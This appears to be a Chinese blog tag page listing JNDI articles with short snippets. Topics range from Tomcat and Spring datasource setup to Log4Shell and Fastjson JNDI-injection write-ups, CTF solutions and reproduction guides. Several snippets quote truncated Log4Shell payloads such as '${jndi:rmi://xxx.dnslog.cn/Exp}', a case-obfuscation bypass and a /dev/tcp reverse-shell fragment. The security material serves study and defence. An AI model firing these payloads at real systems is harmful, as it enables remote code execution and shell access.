JNDI

Fastjson JdbcRowSetImpl利用链学习

JdbcRowSetImpl接着继续学习fastjson的第二条链JdbcRowSetImpl，主要是利用jndi注入达到的攻击，而且没有什么利用限制，而且其原理就是setter的自动调用，具体setter
akka1·2022-04-14 17:00

JNDI

JNDI1、概念JNDI（JavaNamingandDirectoryInterface）是Java提供的Java命名和目录接口。
akka1·2022-04-09 00:00

JNDI

JNDI1、概念JNDI（JavaNamingandDirectoryInterface）是Java提供的Java命名和目录接口。
akka1·2022-04-09 00:00

日志最佳实践

近一年多以来想要分享知识的欲望降低了许多，不知道是否是近一年来工作较忙的原因，导致整个21年没有对外输出什么内容，唯一的一篇“Log4j2Jndi漏洞原理解析、复盘”还是在趁热想抓波热点的情况下写的这篇文章
陈咬金·2022-04-07 19:00

2022 Real World CTF体验赛Writeup

log4flag提示log4j，测试payload：${jndi:rmi://xxx.dnslog.cn/Exp}存在检测,bypasspayload:${${lower:j}${lower:n}${lower
keepb1ue·2022-03-28 07:21

JNDI With RMI

JNDIWithRMIJNDIwithRMIJNDI即JavaNamingandDirectoryInterface（JAVA命名和目录接口），jndi类似于一个索引中心，允许客户端通过name发现和查找数据和对象
NIShoushun·2022-03-25 16:00

新建springboot项目时,entityManagerFactory报错的解决

springboot项目entityManagerFactory报错解决办法spring生成EntityManagerFactory三种方式1.LocalEntityManagerFactoryBean2.从JNDI
·2022-03-24 19:54

Tomcat

JavaEE规范（接口）包含13项技术规范：JDBC、JNDI、EJB、RMI、JSP、Servlet、XML、JMS、JavaIDL、JTS、JTA、JavaMail、JAF。
浪里摸鱼·2022-03-24 00:33

深入分析H2数据库控制台中无需身份验证的RCE漏洞

这个安全漏洞与ApacheLog4j中臭名昭著的Log4Shell漏洞（JNDI远程类加载）有着相同的根源。
IT老涵·2022-03-12 13:17

Log4j2 重大漏洞编译好的log4j-2.15.0.jar包下载(替换过程)

受本次漏洞影响的版本范围为ApacheLog4j2.x<2.15.0-rc2，攻击者可以利用此漏洞在目标服务器上执行任意代码，通过JNDI来执行LDAP协议来注入一些非法的可执行代码。
·2022-03-08 15:17

Mybatis配置之配置元素详解

目录我们先来看一下配置还是从解析的入口开始看起进入方法内部isSpecifiedEnvironment方法如下所示这两种事务管理器的区别下面分别对这三种类型做一个简单的说明（1）UNPOOLED（2）POOLED（3）JNDI
·2022-03-07 12:51

用3个实例从原理到实战讲清楚Log4j史诗级漏洞

目录背景JNDI是个什么鬼？
·2022-03-02 12:11

java高版本下各种JNDI Bypass方法复现

目录0前言1Java高版本JNDI绕过的源代码分析1.1思路一的源码分析1.2思路二的源码分析2基于本地工厂类的利用方法2.1org.apache.naming.factory.BeanFactory2.1.1javax.el.ELProcessor.eval2.1.2groovy.lang.GroovyClassLoader.parseClass
bitterz·2022-02-28 16:00

Java使用JNDI连接数据库的实现方法

目录项目背景环境概念数据源与连接池什么是JNDIJNDI优点JDNI在Tomcat中的配置Jar包测试准备JNDI配置全局引用局部引用参考资料项目背景在项目中本身使用的SQLServer数据库，某些功能下需要访问
·2022-02-25 16:37

tomcat--web项目连接到数据库

1.JNDIJNDI是一套用于java目录服务的API。Java应用可以通过JNDI按照命名来查找数据和对象。
aix91·2022-02-21 11:45

eclipse如何配置皕杰报表数据源

2、在\apache-tomcat-6.0.35\conf\Catalina\localhost中，建立名为MyReportJNDI.xml的文件，在其中指
拓跋杉月·2022-02-20 09:04

单例模式，JNDI连接数据库

单例模式此类只能存在一个实例对象，且只能由本身创建，别的类调用需通过本身创建的公共访问的方法懒汉模式：PropertiespropertiesprivatestaticLazySinglelazySingle=null;privateLazySingle(){Stringfile="文件名";InputStreamis=LazySingle.class.getClassLoader().getRe
舒眉问卷·2022-02-20 01:39

单例模式和JNDI连接数据库

单例模式：一个类里只有一个实例,其他对象想要调用此方法需要全局提供一个访问点properties配置文件配置信息mysql.driver=com.mysql.jdbc.Drivermysql.url=jdbc:mysql://127.0.0.1:3306/数据库名mysql.user=rootmysql.pwd=root数据源的配置与使用数据源的方法：单例模式饿汉模式publicclassPers
Java劝退师·2022-02-19 10:25

Spring Bean 生命周期

2.SpringContext:构建于Core封装包基础上的Context封装包，提供了一种框架式的对象访问方法，有些象JNDI注册
Fox_bert·2022-02-19 10:25

手写框架探险系列-dao重新设计

之前自己做的dao源码地址改进：当初写的仅仅只是支持了jndi的操作，没有对jta的支持，同时需要在业务代码中显式的编码。
潇潇洒洒的写书·2022-02-18 18:31

Tomcat-9.JNDI资源

JNDI(JavaNamingandDirectoryInterface,Java命名和目录接口)是一个应用程序设计的API，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。
悠扬前奏·2022-02-18 10:29

使用污点分析检查log4j问题

1.JNDI注入这次log4j的问题主要是由于JNDI问题造成的，先介绍下JNDI。1.1.JNDIJNDI是接口服务JavaNamingandDirectoryInterface(JN
华为云开发者社区·2022-02-15 10:00

万物皆可 API

，原Repo有这么一段：以近期Log4j的RCE举例，在内网的安全测试中，由于网络环境限制导致没有DNSLog平台可用，这时候做Log4j的漏洞验证就考虑直接查看LDAP服务是否有连接进来，但是现成的JNDI
大飞攻城狮·2022-02-13 10:34

Log4j 史诗级漏洞，京东这样的大厂都中招了

漏洞原理官方表述是：ApacheLog4j2中存在JNDI注入漏洞，当程序将用户输入的数据进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。
布道者-瞎子·2022-02-12 07:17

Spring AOP学习及应用

该模块也提供了许多企业服务，例如E-mail、JNDI、EJB
平凡的小蚂蚁·2022-02-11 15:07

安全攻防-kali内网渗透实战

端口发现是一个errorpage用Wappalyzer看一下是什么架构，但是好像没有检测出来【一>所有资源获取&/dev/tcp/192.168.1.105/99990>&1抓包添加payload=${jndi
kali_Ma·2022-02-08 10:41

Log4j2 漏洞复现GetShell

目录：一、搭建环境1.首先拉一个docker镜像2.然后启动环境二、获取shell首先，试验一下DNSLog1.准备JNDI注入工具下载进入目录打包成jar包2.利用生成payload反弹shell一、
CVE-柠檬i·2022-02-06 12:47

2019-06-20 单例模式和JNDI连接数据库

一、单例模式一个类里只有一个实例，只有它本身可以调用其它类想要调用，需要它提供一个全局访问点二、Properties文件（连接）文件包含：驱动、数据库地址、用户名、密码三、懒汉模式读取properties文件1、创建一个对象，私有且静态，privatestaticConfigManagercm;2、构造函数中读取配置文件（ConfigManager.class.getClassLoader().g
冷月_star·2022-02-05 21:08

单例模式和jndi连接数据库

单例模式：一个类里面只有一个实例，此实例只有自身能调用properties里面的参数不需要写引号不加任何符号mysql.driver=com.mysql.jdbc.Drivermysql.url=jdbc:mysql://127.0.0.1:3306/数据库mysql.user=用户名mysql.pwd=密码mysql.port=端口号/***饿汉模式***/publicclassHungrySi
凯存·2022-02-05 11:46

测试开发进阶——常用中间件概念——JDNI——连接数据库理解

JNDI的基本应用JNDI是JavaNamingandDirectoryInterface(JAVA命名和目录接口)的英文简写，它是为JAVA应用程序提供命名和目录访问服务的API(ApplicationProgramingInterface
小白龙白龙马·2022-02-04 16:15

【保姆级Python教学】万物皆可 API

原Repo有这么一段：“以近期Log4j的RCE举例，在内网的安全测试中，由于网络环境限制导致没有DNSLog平台可用，这时候做Log4j的漏洞验证就考虑直接查看LDAP服务是否有连接进来，但是现成的JNDI
·2022-01-12 16:51

Log4j2史诗级漏洞导致JNDI注入问题探析

背景ApacheLog4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中，比如在用户登录的时候打印一些异常信息，如xxx密码输入错误超过5次，账号被锁定；xxx账号已被锁定；xxx账号频繁异地登录。前不久，Apache开源项目Log4j的远程代
·2022-01-11 22:49

引爆全球的 Log4j2 核弹级漏洞，JNDI 到底是个什么鬼？

究其原因，很大一部分就是因为JNDI这个玩意。。。
·2022-01-10 11:54

Log4j 2.17.0 再曝漏洞，但不要惊慌！

https://logging.apache.org/log4j/2.x/漏洞编号：CVE-2021-44832漏洞内容：Log4j2提供的JDBCAppender功能，将日志信息写入数据库中，这个过程需要JNDI
·2021-12-29 14:20

vulfocus通关笔记（失败版）

使用如下payload验证漏洞：${jndi:ldap://xxxxxxxxx/e}(xxx是你的dnslog）。验证成功后就替换payload拿shell。
你可以叫我风平·2021-12-29 13:08

JNDI注入分析-RMI注入

Java命名和目录接口（JNDI）是一种JavaAPI，类似于一个索引中心，它允许客户端通过name发现和查找数据和对象。
·2021-12-28 10:17

通过vulfocus靶场复现log4j2-rce漏洞

0、漏洞基本原理攻击者使用${}关键标识符触发JNDI注入漏洞，当程序将攻击者构造的payload进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。
afaf13c2f7dd·2021-12-27 20:48

深入理解JNDI注入

深入理解JNDI注入1.关于RMI主要介绍RMI的调用流程，RMI注册表以及动态加载类的概念。
·2021-12-20 10:12

Log4j2 维护者发声：没有工资，还要挨骂！！（我真是醉了！）

文|罗奇奇\出品|OSC开源社区（ID：oschina2013）基于Java的日志记录工具ApacheLog4j2近日出现了一个高危漏洞，攻击者可以利用其JNDI注入漏洞远程执行代码，此漏洞牵涉面非常广
·2021-12-19 13:41

亲测log4j 漏洞复现与修复

比如：${jndi:rmi://127.0.0.1:1099/attack}这个东西可以通过rest接口参数传进来，进行恶意注入。比如：http://xxx:81/track/user?
愤怒的阿昆达·2021-12-16 10:22

Apache Log4j 远程代码执行漏洞源码级分析

漏洞的前因后果漏洞描述漏洞评级影响版本安全建议本地复现漏洞本地打印JVM基础信息本地获取服务器的打印信息log4j漏洞源码分析扩展：JNDI危害是什么？
Yano_nankai·2021-12-14 18:00

Java RMI引起的log4j漏洞问题重现

目录RMI和JNDIRMI模拟漏洞重现【紧急补救措施3选1】2021-12-10日左右，java的log4j框架出现了一个大漏洞，对服务器案例引起了不小的影响，当然只对于log4j的日志使用者来说，如果你是
·2021-12-14 11:04

Log4j反弹shell

服务器到期的最后几个小时先操作一波~image.png一:准备环境:1:expjar包JNDI-Injection-Exploit2:利用dnslog平台做初步验证随意哪个都可以ceye.iodnslog.linkdnslog.cndnslog.iotu4
表弟_212·2021-12-13 11:16

利用Fastjson注入Spring内存马

此篇文章在于记录自己对spring内存马的实验研究一、环境搭建搭建漏洞环境，利用fastjson反序列化，通过JNDI下载恶意的class文件，触发恶意类的构造函数中代码，注入controller内存马
洋洋的小黑屋·2021-11-19 23:00

利用 Fastjson 注入 Spring 内存马，太秀了～！

一般来说实现无文件落地的java内存马注入，通常是利用反序列化漏洞，所以动手写了一个springmvc的后端，并直接给了一个fastjson反序列化的页面，在假定的攻击中，通过jndi的利用方式让web
·2021-11-18 16:06

Java之JNDI注入的实现

目录AboutJNDI0x01简介0x02JNDI的用途0x03日常使用0x04JNDI命名和目录服务前置知识InitialContext类Reference类JNDIDemoJNDI+RMI攻击手法JNDI
·2021-11-11 10:46

Java之JNDI注入

Java之JNDI注入AboutJNDI0x01简介JNDI(JavaNamingandDirectoryInterface)是SUN公司提供的一种标准的Java命名系统接口，JNDI提供统一的客户端API
CoLoo·2021-11-10 00:00

详解IDEA2020新建spring项目和c3p0连接池的创建和使用

环境准备：maven配置2、导入jar包：c3p0-0.9.5.4.jar和mysql-connector-java.jar3、编写测试类测试连接前言C3P0是一个开源的JDBC连接池，它实现了数据源和JNDI
·2021-10-14 12:25

学习Tomcat（二）之容器概览

Tomcat容器的Server模块有管理容器的启动和关闭、管理了容器内的服务组件Service、管理了全局JNDI资源的功能，对Tomcat容器的生命周期管理有重要意义。
·2021-09-15 10:01

手写篇——JNDI 实现依赖查找，实现一个最简单spring

原文来自公众号三不猴基础概念关于JNDIJava命名和目录接口（JavaNamingandDirectoryInterface，缩写JNDI），是Java的一个目录服务应用程序接口（API），它提供一个目录系统
三不猴子·2021-09-13 21:20
上一页 3 4 5 6 7 8 9 10 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他